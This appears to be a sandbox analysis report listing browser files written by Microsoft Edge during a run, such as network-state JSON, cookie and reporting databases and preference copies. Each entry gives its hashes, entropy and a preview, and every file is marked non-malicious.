SHA-256:	67C29288F1925FD30B6AE7BA8CFC9CE17BDBC0923C2463931C157545D94BF738
SHA-512:	E0308D17397948FF4C3021B9D8386E5685BCC6DE009B59060FF6A89C67DB3B5F9463CF01CF82C8591E8957BDCB6355EFFB58E92E7AD9CA696F8CE1771D9A4762
Malicious:	false
Preview:	2024/11/16-07:01:28.917 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/16-07:01:28.918 1cd4 Recovering log #3.2024/11/16-07:01:28.921 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\385e59b4-0084-4d22-9205-762afcaee1f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	5.329759090107713
Encrypted:	false
SSDEEP:	48:YcgCzsptsJ1fcKsPfleeBkBRs1CgHBbxo+:FmAMkeBkBuTBVo+
MD5:	A8F08F93C04938C2097168CE1F9ABCFE
SHA1:	0EE1F95C9F90A87F4F42942088714B4434FFEB40
SHA-256:	F9ACA507DCE9C97E4C07EFB2E883E0A2A9E911E23135E48CA042D5C8FAE06B27
SHA-512:	7B8D90813B53B234A5BB0E7E09FEF5798F641731666ED2B93C630631E1687E58636F1E7C974502658D467EAD06BE36EF64012207311CD981F6CE5E29AE1B3660
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378824091356757","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378824095196573","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376325696724535","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\466e3d00-9375-4b49-a791-4175f7c56140.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\70beea45-4d56-402a-b80b-ac3a1d2850d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\720e91ca-926e-4099-a453-f137a01024f7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7eeb6fce-0684-4b4b-9fed-e544395d7e44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.777174563052125
Encrypted:	false
SSDEEP:	192:tT1WNAtvko3S8DRyeM9cI5DOceXcf0L/ZJVb:V1HvH3ldyeYiXI0LhJVb
MD5:	FC51078AAA0050478EE9C25ACC925693
SHA1:	222BAE0B9A1FA4E6D44F6CD144C7089B28F585A8
SHA-256:	F11800AA2EE7287F281C3FA10133FA53AAAED5F5ECDEF7D5CF6F5EB14E055E02
SHA-512:	4AF7FDC8FA4A0C1E44D1DC24F2C1AB20BAA230C245CA54D0A2CAF860A7CDF0E955F290DC55ADFFBC4D63DC41D944F5BF08C1206C89B7341A10BFC8697B0676FF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4aa36.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.215326145823883
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBCL:JkIEumQv8m1ccnvS6G2qN5v
MD5:	3D6CE5A011491425BD04352E1909B2B7
SHA1:	081C9E96576D01D9DA45B3F1A12611CBB063DABF
SHA-256:	8ACD75FDF9D17605D42EB82E5CD66CF350E857D5EAA0D704B80337DCBC7D7E4B
SHA-512:	3D5206970256EF0733FC97AB64F1DE5A0D0D78953E0511E2CCB88F03A82457FBB6A0DF4427884F44206E1DDC505E7EA49DD56BB50FD25EB58B8B396AE9158F4C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39c02.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a7ca.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3aeb0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\da481448-4e5d-4236-8f18-0b63be396664.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fde34aa1-ab71-4f9a-a51f-22f9ebd31885.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13779
Entropy (8bit):	5.231134133926621
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuyp2ks+H5sZihUkVvNdiDe78HbV+FOMQwo66WI9aFIMYgc:st8PGKSu42ksI5fhXmbGpQwZ6WMaTY9
MD5:	C64D5F8A118D6A5052BB994140E902C7
SHA1:	5101F461191617CE532E4C87806C5F99C83B5464
SHA-256:	836E85798D7D5A230C9780A6620FC0FF8B6B8B641C3BCD8EB89A807A934FF18F
SHA-512:	19CE1C1F11B69A35F5E15E5BEAFC71BEA39DC6C4E7905E7D36A6EE5B0C410CF8551AAD9CF041022F2DCB0F4C3B8AFCF92F3A63FF9550C90C85F895DCEC7D1877
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376232089111990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d468.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13779
Entropy (8bit):	5.231134133926621
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuyp2ks+H5sZihUkVvNdiDe78HbV+FOMQwo66WI9aFIMYgc:st8PGKSu42ksI5fhXmbGpQwZ6WMaTY9
MD5:	C64D5F8A118D6A5052BB994140E902C7
SHA1:	5101F461191617CE532E4C87806C5F99C83B5464
SHA-256:	836E85798D7D5A230C9780A6620FC0FF8B6B8B641C3BCD8EB89A807A934FF18F
SHA-512:	19CE1C1F11B69A35F5E15E5BEAFC71BEA39DC6C4E7905E7D36A6EE5B0C410CF8551AAD9CF041022F2DCB0F4C3B8AFCF92F3A63FF9550C90C85F895DCEC7D1877
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376232089111990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF42259.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13779
Entropy (8bit):	5.231134133926621
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuyp2ks+H5sZihUkVvNdiDe78HbV+FOMQwo66WI9aFIMYgc:st8PGKSu42ksI5fhXmbGpQwZ6WMaTY9
MD5:	C64D5F8A118D6A5052BB994140E902C7
SHA1:	5101F461191617CE532E4C87806C5F99C83B5464
SHA-256:	836E85798D7D5A230C9780A6620FC0FF8B6B8B641C3BCD8EB89A807A934FF18F
SHA-512:	19CE1C1F11B69A35F5E15E5BEAFC71BEA39DC6C4E7905E7D36A6EE5B0C410CF8551AAD9CF041022F2DCB0F4C3B8AFCF92F3A63FF9550C90C85F895DCEC7D1877
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376232089111990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF49789.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13779
Entropy (8bit):	5.231134133926621
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuyp2ks+H5sZihUkVvNdiDe78HbV+FOMQwo66WI9aFIMYgc:st8PGKSu42ksI5fhXmbGpQwZ6WMaTY9
MD5:	C64D5F8A118D6A5052BB994140E902C7
SHA1:	5101F461191617CE532E4C87806C5F99C83B5464
SHA-256:	836E85798D7D5A230C9780A6620FC0FF8B6B8B641C3BCD8EB89A807A934FF18F
SHA-512:	19CE1C1F11B69A35F5E15E5BEAFC71BEA39DC6C4E7905E7D36A6EE5B0C410CF8551AAD9CF041022F2DCB0F4C3B8AFCF92F3A63FF9550C90C85F895DCEC7D1877
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376232089111990","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564071443514442
Encrypted:	false
SSDEEP:	768:VqlGqRWPKcfmj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtZqJOFprwUWeZqKpMtuD:VqlGqRWPKcfmju1jaYZqQFaUWe4xtc
MD5:	00E420CF263F6149ECC2BC20530708AF
SHA1:	FE6F853E6B97305591FF52D1B778F251FDE376F4
SHA-256:	3E93CBC1EF2E30C05D6361E8F36B17FA0A9C7CBD25F51D4B81180C72FA3F5EF9
SHA-512:	35555F60F88A70E9F50F98541CC778537A26F648BDB6F6CD0FDA76B43127C2630BF034F98C839769AF379CAB2B547189250D12030CA072B34BD2B304832A7811
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376232088538137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376232088538137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3d5b0.TMP (copy)
